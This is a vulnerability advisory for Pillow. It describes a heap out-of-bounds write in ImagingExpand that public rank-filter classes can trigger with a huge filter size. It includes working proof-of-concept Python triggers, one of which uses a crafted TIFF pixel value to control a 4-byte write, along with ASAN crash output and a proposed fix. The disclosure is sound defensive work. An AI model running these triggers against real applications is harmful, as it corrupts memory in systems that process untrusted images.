Pillow: Heap out-of-bounds write in `ImageFilter.RankFilter` via integer overflow in `ImagingExpand`

### Summary Pillow's public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size. Minimal public API trigger: ```python from PIL import Image, ImageFilter im = Image.new("L", (3, 3), 128) im.filter(ImageFilter.MedianFilter(4294967295)) ``` `ImageFilter.RankFilter.filter()` calls `image.expand(size // 2, size // 2)` before rank-filter size validation. With `size = 4294967295`, the expansion margin is `2147483647` (`INT_MAX`). `ImagingExpand()` then computes the output dimensions with unchecked signed `int` arithmetic. On tested builds, this wraps to a tiny output image and the border-expansion loop writes past the allocation. This is reachable through documented public classes (`RankFilter`, `MedianFilter`, `MinFilter`, and `MaxFilter`). No private API, ctypes, or custom Python object is needed. ### Details Current `src/PIL/ImageFilter.py`: ```python class RankFilter(Filter): def filter(self, image): if image.mode == "P": msg = "cannot filter palette images" raise ValueError(msg) image = image.expand(self.size // 2, self.size // 2) return image.rankfilter(self.size, self.rank) ``` The `expand()` call is made before `image.rankfilter(...)`. Current `src/libImaging/Filter.c:ImagingExpand()` does not check output-size overflow: ```c if (xmargin < 0 && ymargin < 0) { return (Imaging)ImagingError_ValueError("bad kernel size"); } imOut = ImagingNewDirty( imIn->mode, imIn->xsize + 2 * xmargin, imIn->ysize + 2 * ymargin ); ``` For a `3x3` image and `xmargin = ymargin = INT_MAX`, the computed output size wraps to `1x1` on tested builds. The following loop still uses the huge margin: ```c for (x = 0; x < xmargin; x++) { imOut->image[yout][x] = imIn->image[yin][0]; } ``` `src/libImaging/RankFilter.c` does contain checks that would reject this size: ```c if (!(size & 1)) { return (Imaging)ImagingError_ValueError("bad filter size"); } if (size > INT_MAX / size || size > INT_MAX / (size * (int)sizeof(FLOAT32))) { return (Imaging)ImagingError_ValueError("filter size too large"); } ``` But those checks are reached only after `RankFilter.filter()` has already called `image.expand(...)`. Mode `"L"` produces 1-byte OOB stores. Modes `"I"` and `"F"` produce 4-byte OOB stores. The repeated value written OOB is copied from the source image border pixel, so attacker-supplied image bytes can influence it. This is a sequential overwrite, not an arbitrary-address write. ### PoC Minimal ASAN crash PoC: ```python from PIL import Image, ImageFilter im = Image.new("L", (3, 3), 128) im.filter(ImageFilter.MedianFilter(4294967295)) ``` Observed on local Pillow `12.3.0.dev0` ASAN target: ```text ERROR: AddressSanitizer: heap-buffer-overflow WRITE of size 1 ImagingExpand /out/src/src/libImaging/Filter.c:99 _expand_image /out/src/src/_imaging.c:1100 0 bytes after a 1-byte allocation ``` 4-byte write variant with source pixel loaded from normal image bytes: ```python from io import BytesIO from PIL import Image, ImageFilter SIZE = 4294967295 PIXEL = 0x41424344 src = BytesIO() Image.new("I", (3, 3), PIXEL).save(src, format="TIFF") im = Image.open(BytesIO(src.getvalue())) im.load() assert im.mode == "I" assert im.getpixel((0, 0)) == PIXEL im.filter(ImageFilter.MedianFilter(SIZE)) ``` Observed ASAN signature: ```text ERROR: AddressSanitizer: heap-buffer-overflow WRITE of size 4 ImagingExpand /out/src/src/libImaging/Filter.c:101 _expand_image /out/src/src/_imaging.c:1100 0 bytes after a 4-byte allocation ``` Version checks: ```text Pillow 1.0: ASAN heap-buffer-overflow WRITE confirmed at runtime Pillow 12.3.0.dev0: ASAN heap-buffer-overflow WRITE confirmed at runtime Pillow 1.0 through 12.2.0: source sweep confirmed the vulnerable public validation order and unchecked ImagingExpand arithmetic upstream/main at 9c1097c861420c77af53c7c9af2a1382e2bfaa8b: still affected ``` ### Impact It is a heap out-of-bounds write in Pillow's native C extension, reachable through public image-filter classes. Applications are impacted if an untrusted user can control the rank-filter size/configuration passed to Pillow. If the image is also attacker-supplied, the source pixel value written out of bounds can be attacker-influenced, including 4-byte values for mode `"I"` images. ## Possible fix Validate the rank-filter size before calling `image.expand(...)`, and harden `ImagingExpand()` against invalid margins and overflow: ```c if (xmargin < 0 || ymargin < 0) { return (Imaging)ImagingError_ValueError("bad kernel size"); } if (xmargin > (INT_MAX - imIn->xsize) / 2 || ymargin > (INT_MAX - imIn->ysize) / 2) { return (Imaging)ImagingError_ValueError("bad kernel size"); } ```

Quoted source text, attributed separately from HOL analysis.